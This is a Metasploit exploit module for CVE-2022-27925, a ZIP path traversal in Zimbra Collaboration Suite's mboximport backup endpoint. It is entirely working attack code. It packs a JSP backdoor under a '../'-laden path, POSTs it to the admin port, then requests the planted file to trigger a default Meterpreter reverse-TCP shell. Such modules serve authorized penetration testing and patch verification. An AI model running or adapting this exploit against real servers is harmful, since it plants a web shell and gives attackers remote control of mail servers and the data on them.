##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)',
        'Description' => %q{
          This module POSTs a ZIP file containing path traversal characters to
          the administrator interface for Zimbra Collaboration Suite. If
          successful, it plants a JSP-based backdoor within the web directory, then
          executes it.

          The core vulnerability is a path-traversal issue in Zimbra Collaboration Suite's
          ZIP implementation that can result in the extraction of an arbitrary file
          to an arbitrary location on the host.

          This issue is exploitable on the following versions of Zimbra:

          * Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier)
          * Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier)

          Note that the Open Source Edition is not affected.
        },
        'Author' => [
          'Volexity Threat Research', # Initial writeup
          "Yang_99's Nest", # PoC
          'Ron Bowes', # Analysis / module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-27925'],
          ['CVE', '2022-37042'],
          ['URL', 'https://blog.zimbra.com/2022/03/new-zimbra-patches-9-0-0-patch-24-and-8-8-15-patch-31/'],
          ['URL', 'https://www.cisa.gov/uscert/ncas/alerts/aa22-228a'],
          ['URL', 'https://www.yang99.top/index.php/archives/82/'],
          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24'],
          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P31'],
        ],
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [ 'Zimbra Collaboration Suite', {} ]
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbraAdmin/public/',
          'TARGET_FILENAME' => nil,
          'RPORT' => 7071,
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2022-05-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),
        OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),
        OptString.new('TARGET_USERNAME', [ true, 'The target user, must be valid on the Zimbra server', 'admin']),
      ]
    )
  end

  # Generate an on-system filename using datastore options
  def generate_target_filename
    if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
      print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
    end

    File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")
  end

  # Normalize the path traversal and figure out where it is relative to the web root
  def zimbra_get_public_path(target_filename)
    # Normalize the path
    normalized_path = Pathname.new(File.join('/opt/zimbra/log', target_filename)).cleanpath

    # Figure out where it is, relative to the webroot
    webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/')
    relative_path = normalized_path.relative_path_from(webroot)

    # Hopefully, we found a path from the webroot to the payload!
    if relative_path.to_s.start_with?('../')
      return nil
    end

    relative_path
  end

  def exploit
    print_status('Encoding the payload as a .jsp file')
    payload = Msf::Util::EXE.to_jsp(generate_payload_exe)

    # Create a file
    target_filename = generate_target_filename
    print_status("Target filename: #{target_filename}")

    # Create a zip file
    zip = Rex::Zip::Archive.new
    zip.add_file(target_filename, payload)
    data = zip.pack

    print_status('Sending POST request with ZIP file')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => "/service/extension/backup/mboximport?account-name=#{datastore['TARGET_USERNAME']}&ow=1&no-switch=1&append=1",
      'data' => data
    )

    # Check the response
    if res.nil?
      fail_with(Failure::Unreachable, "Could not connect to the target port (#{datastore['RPORT']})")
    elsif res.code == 404
      fail_with(Failure::NotFound, 'The target path was not found, target is probably not vulnerable')
    elsif res.code != 401
      print_warning("Unexpected response from the target (expected HTTP/401, got HTTP/#{res.code}) - exploit likely failed")
    end

    # Get the public path for triggering the vulnerability, terminate if we
    # can't figure it out
    public_filename = zimbra_get_public_path(target_filename)
    if public_filename.nil?
      fail_with(Failure::BadConfig, 'Could not determine the public web path, maybe you need to traverse further back?')
    end

    register_file_for_cleanup(target_filename)

    print_status("Trying to trigger the backdoor @ #{public_filename}")

    # Trigger the backdoor
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(public_filename)
    )

    if res.nil?
      fail_with(Failure::Unreachable, 'Could not connect to trigger the payload')
    elsif res.code == 200
      print_good('Successfully triggered the payload')
    elsif res.code == 404
      fail_with(Failure::Unknown, "Payload was not uploaded, the server probably isn't vulnerable")
    else
      fail_with(Failure::Unknown, "Could not connect to the server to trigger the payload: HTTP/#{res.code}")
    end
  end
end